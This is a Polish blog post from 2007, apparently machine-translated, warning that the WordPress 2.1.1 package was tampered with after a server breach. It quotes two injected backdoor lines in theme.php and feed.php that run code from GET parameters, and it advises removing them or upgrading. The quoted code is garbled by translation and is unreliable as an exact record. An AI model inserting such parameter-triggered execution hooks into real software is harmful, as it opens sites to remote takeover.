Zapisz się na newsletter czy kanały RSS, aby otrzymywać aktualizacje automatycznie bloga!

WordPress 2.1.1 jest niebezpieczne!



Oto w jaki sposób zespół Wordpress określa najnowszej wersji WP. Powód jest prosty: kilka dni temu krakingu naruszyła niektóre z serwerem worpress.org, zarządzanie, aby zmienić pakiet instalacyjny, który jest zwykle pobierane: zmiany wydają się dotyczyć tylko kilka plików, aby umożliwić zdalne wykonanie php kod. Aby rozwiązać ten problem, istnieją dwie alternatywy:

    . 1. Pobierz wersję 2.1.2 niezwłocznie wydane przez twórców Wordpress i uaktualnienia.
    . 2. Usuń przez strony złośliwego kodu (jeżeli tacy jak ja nie chcesz / czas, aby zainstalować nową wersję).
    Jest to po prostu:
    - Zidentyfikować i usunąć plik "wp-includes/theme.php" następujący wiersz kodu: 
      if ($ _GET [ "from"]) (get_theme_mcommand ($ _GET [ "iz "]);)

    - Zidentyfikować i usunąć plik "wp-includes/feed.php" następujący wiersz kodu: 

      if ($ _GET [ 'IX']) (comment_text_phpfilter ($ _GET [ 'ix']);)


Podobał ci się ten artykuł? Zarejestruj się teraz, aby otrzymywać aktualizacje lub wiadomości:
Subskrybuj do kanałów RSS napisz do kanału RSS


Data Posted on March 6, 2007 12:06 w zabezpieczeń, sieci
Udostępnianie Podziel | Tagi:

Nadal bez komentarza "

Komentarze RSS dla tego posta. Trackback URI

Zostaw komentarz

XHTML: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>


Nothing2Hide © 2006 Wszelkie prawa zastrzeżone.

Licencja | Zastrzeżenie

Blisko
Wyślij e-mail